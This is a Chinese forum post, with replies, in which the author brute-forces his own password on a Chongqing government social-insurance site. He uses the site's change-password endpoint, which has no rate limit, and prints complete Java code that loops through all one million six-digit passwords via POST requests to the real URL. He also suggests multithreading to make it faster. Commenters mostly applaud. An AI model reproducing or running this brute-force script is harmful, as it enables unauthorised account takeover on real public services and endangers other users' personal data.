昨天早晨,我妈叫我把回来重庆后参加工作的社保缴纳的截图发给她,她给村里的一个类似于会计工作的人,用于统计整个村的社保缴纳情况,我一想,这个简单呐,以前在惠州的时候也给过一次,登录网站 + 截图,简单快捷。[图片] 可是当我登录上重庆的社保查询界面的时候,才发现事情并没有那么简单,第一,我好想没有社保卡,第二, 我并不知 ..

一次跟社保局的碰撞试验

本贴最后更新于 515 天前,其中的信息可能已经天翻地覆

  昨天早晨,我妈叫我把回来重庆后参加工作的社保缴纳的截图发给她,她给村里的一个类似于会计工作的人,用于统计整个村的社保缴纳情况,我一想,这个简单呐,以前在惠州的时候也给过一次,登录网站 + 截图,简单快捷。

  可是当我登录上重庆的社保查询界面的时候,才发现事情并没有那么简单,第一,我好想没有社保卡,第二, 我并不知道社保查询密码。于是我发微信问了下我们 HR 社保情况,谁知道我们美丽大方温柔漂亮的 HR 居然叫我直接联系第三方参保方,也就是重庆中智。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。我大概周末这群人可能是不上班的,可是俺妈催得紧咋办呢。

  所以我索性打电话给重庆社保局,看看能不能重置我的登录密码。一个电话打过,没人接,二个电话打过去没人接,三个电话打过去还是没人接。这个就有点绝望了,各位大佬们都是要休周末的,我有点绝望。

  当我百无聊赖的点着登录界面,胡乱试试我平时喜欢用的密码的时候,我在想,为什么不来一场激烈的碰撞。你看看 6 位数的数字密码。排列组合也就 1000000 种可能而已,学这个行业,不能白瞎了呀,区区官方网站,又岂能奈我何,所以我打算去 gayhub 上搜一搜验证码的破解,就这破验证码做得,不是随随便便就可以搞定的吗。

  还没准备搜,看到图中有个修改密码的选项,于是就点了,结果。。。。是个伪按钮,根本点不动,什么都没有发生,我一想这不可能啊,好歹是官方的网站,怎么可能放个如此难看的按钮在这里摆着,要做样子也要摆个好看的不是,这么难看的按钮,肯定是有用的。于是结合我在 TCL 的经历,我觉得这个按钮应该只有在 ie8 以及以下的浏览器才能生效,but 我总不能去下载一个 ie8 吧。

  我觉得试试我的前端水准,F12 按下去,

<a onclick="changePwd();;;" style="margin-left: 10px; text-decoration: underline;">修改个人查询密码</a>

  我也不知道这个三个分号是个什么意思,所以我顺便找到了 changePwd()的函数

function changePwd() {
		var url = "/ggfw/pages/wxcx/grmmgl.jsp";
		window.showModalDialog(url, this,
			"center:1;dialogWidth:700px;dialogHeight:500px;");
}

  所以搞了半天,这个只是彪出个弹窗而已,将链接地址复制到浏览器

 

  如此清新的界面,不禁让我感到一丝尊敬,没有了验证码的干扰,真是让我无比兴奋,输入了正确的原文,然后点击提交,F12,我就看到了我想看到的东西,也就是 http 的 header


  可以看到这个平凡到不能在平凡的请求,几乎没有任何添加剂,简直是完美。

  开始我的编程之旅,就用这个修改密码的链接,还省去了我去下载和验证破解验证码的代码的过程,这个样简单的碰撞密码的代码,我一个小时能写一打儿

public static String Post(String strURL, String params) {  
        try {  
            URL url = new URL(strURL);// 创建连接  
            HttpURLConnection connection = (HttpURLConnection) url.openConnection();
            connection.setDoOutput(true);  
            connection.setDoInput(true);  
            connection.setUseCaches(false);  
            connection.setInstanceFollowRedirects(true);  
            connection.setRequestMethod("POST"); // 设置请求方式  
            connection.setReadTimeout(100);
            connection.connect();  
            OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), "UTF-8"); // utf-8编码  
            out.append(params);  
            out.flush();  
            out.close();  
            
            InputStream is = connection.getInputStream(); 

            byte\[\] temp = new byte\[connection.getContentLength()\];  
            is.read(temp);
            String result = new String(temp, "UTF-8"); // utf-8编码  
            return result;  
  
        } catch (IOException e) {  
        	return "IOException";
        }
    } 

 以下是解析成字符串

public static String getPwdString(int index) {
    	int length = String.valueOf(index).length();
    	switch (length) {
			case 1:
				return "00000"+index;
			case 2:
				return "0000"+index;
			case 3:
				return "000"+index;
			case 4:
				return "00"+index;
			case 5:
				return "0"+index;
			case 6:
				return ""+index;
			default:
				return "";
		}
    }
``` 

以下是主函数

public static void main(String[] args) throws InterruptedException {
String url = "http://ggfw.cqhrss.gov.cn/ggfw/ChangeBLH_changeGrpwd.do";
String urlpara = "bh=50010********45***5&xm= 文昌平&ymm=pwd&xmm=123456&rmm=123456";

	for(int i=0;i<1000000;i++) {
		String pwdd = getPwdString(i);
		if(pwdd.equals("")) {
			System.out.println("获取密码出错");
			System.exit(0);
		}
		String result = Post(url,urlpara.replace("pwd", pwdd));
		while("IOException".equals(result)) {
			result = Post(url,urlpara.replace("pwd", pwdd));
		}
		System.out.println(i);
		Bean bean = JSONUtil.json2Object(result, Bean.class);
		if(bean.getCode()!=0) {
			System.out.println("设置成功");
			System.exit(0);
		}
	}
}

于是在一段时间后,程序退出了,设置密码成功,我用我的新密码登录,果然就通过了。觉得很有意思,在此分享。  

  后记,这个代码有很大的提升空间,你要知道,请求一百万次http请求还是很费时间的,如果能搞成多线程的话,将会非常完美,也许10分钟就能出结果,由于我目的已经达到了,所以也就没有去接着研究,而且写多线程的时间,也许我答案已经找到了,毕竟如果密码是1开头或者0开头的话,就会很快。

  以上,分享给各位
  • 安全

    安全永远都不是一个小问题。

    132 引用 • 688 回帖 • 622 关注
  • 社保
    3 引用 • 78 回帖
  • 程序员

    程序员是从事程序开发、程序维护的专业人员。

    382 引用 • 2976 回帖 • 1 关注
47 回帖
请输入回帖内容...
  • Eddie

    这种文章,社区不能发的吧。

    1 回复
  • xjtushilei

    楼主很 6 呀.

    另,多线程多写点,以后都是随手写的

    1 回复
  • jy02201949

    要是我就拿一些常见的密码怼上去,默认密码一般都比较弱智的吧

    1 回复
  • wenandlu

    这有什么不能发的,靠本事碰撞的密码,凭什么不能发

  • wenandlu

    多线程一开始没想那么多,而且我有强迫症,一旦考虑到同步或者共享数据的情况,我就很谨慎,反而耽误我找答案,毕竟,我的目的很单纯,我只想改个密码而已

  • wenandlu

    默认密码是社保卡后六位数,后来实验证明,后六位完全是随机的

    1 回复
  • fu123

    源码来一打

  • fu123

    源码来能看看吗,楼主?

    1 回复
  • wenandlu

    全部源码都在博客里呀,就这么点东西

  • cangxian

    握草,都是写 Java 的,为何你这么优秀

  • ibut

    66666666

  • yangyujiao

    这种你没有改过的肯定有初始密码呀。。。百度一下就可以的吧。之前我公积金的就是一直用初始密码,忘记了,就百度北京公积金初始密码。。。

    不过,小哥哥很厉害呀,脑子够灵活啊。

    1 回复
  • wyjackie

    这种内容还是不要发的好,避免不必要的麻烦

    1 回复
  • auvCool

    burp suit 了解一下

  • alanfans

    政府网站呢,你能这么玩?你不怕收快递?

    2 回复
  • wongH92

    故事比代码好看系列

  • wongH92

    第一张图暴露身份证号系列

  • wenandlu

    初始密码是社保卡号码后六位,可是我根本没有社保卡

    1 回复
  • wenandlu

    我帮他们找 bug,至少得谢谢我,怎么会有麻烦呢

  • wenandlu

    简单得说,我不怕,哈哈

  • wenandlu

    说不定政府把我招安,去做政府网站的安全管理,我也挺乐意的

    1 回复
  • jama

    怕是去做个锤子哦

  • yangyujiao

    你是因为刚缴纳,社保卡还没下来吗?
    不然怎么会缴纳了社保,没有卡呢。

    另外社保卡号码就是身份证号码啊。

    1 回复
  • Zachary

    前段时间和楼主一样,然而深圳社保登录失败超出一定次数就不让登录了,老老实实手机重置

    1 回复
  • zorro3556

    企事业单位的网站安防还停留在十年前,楼主威武

    2 回复
  • wenandlu

    社保去年就开始交了,但是社保卡一直没有,去查又是交了的,也不知道为啥,而且社保卡号码不是身份证号码,因为身份证后六位我试过了,不正确

    1 回复
  • wenandlu

    重庆社保登录失败一定次数也会不让登录,但是让我找到了 bug,就是修改密码没有限制

  • wenandlu

    哈哈,为啥我感觉不是因为他们 low,而是我太牛逼呢😂

    1 回复
  • yangyujiao

    北京的社保卡上面的账号就是身份证的号码。
    是不是你查的初始密码不对,不是身份证后 6 位呢。

    比如我记得公积金的是身份证后 4 位 +00.

    你缴纳了社保,社保卡不应该这么就没拿到,登录可以看到社保卡的进度,是哪个步骤都写了。

    1 回复
  • wenandlu

    可是,就是没有😭 ,我也不想去追究了,需要用到再去社保去补办吧

    1 回复
  • yangyujiao

    这玩意是公司去领回来,发给你的。你去医院挂号就要用的呀···

    1 回复
  • wenandlu

    说出来你可能不信,我这辈子没因为我自己的事情去过医院,大多都是去药店那点感冒药.......

    1 回复
  • yangyujiao

    我信呀 因为正常人都不太去医院啊,我感冒发烧啥的也从来不去医院啊。。。

  • UUUS

    是你太吊

  • fayray

    厉害,厉害、当年去家公司,前 HR 走得急,没有把社保公司的账户密码交接,
    木有办法,只能老实去柜面办理,密码重更业务

  • kkk

    小结下,大概就是用程序写几位数的随机原密码,直到正确,然后修改密码成功。所以,楼主公布源码的吗trollface

    1 回复
  • qiangzi163

    佩服佩服,自行搞定

  • oncereply

    不知道是哪个学校的学生写的 ~

  • wenandlu

    源码就在博客中,就那么 2 段,写的略为丑陋

  • gitors

    你为什么不给身份证号打个码啊?

    1 回复
  • wenandlu

  • jama

    根据手机号定位地址

    大佬可以看下这个帖子吗? 根据手机号/微信/qq 或者其他信息, 定位别人的地址信息

  • Peiel

    楼主 666,不过这个网站做的真不够安全的

  • chocotan

    上海、苏州都是没社保卡的,只有医保卡

    1 回复
  • wenandlu

    😂 你关注的点好奇怪哈

  • wenandlu

    这破帖子居然浏览量可以上千,白瞎了那些年我在 iteye 上写的那些博客了

  • nywlxql

    这个网站做的真不够安全😳

请输入回帖内容 ...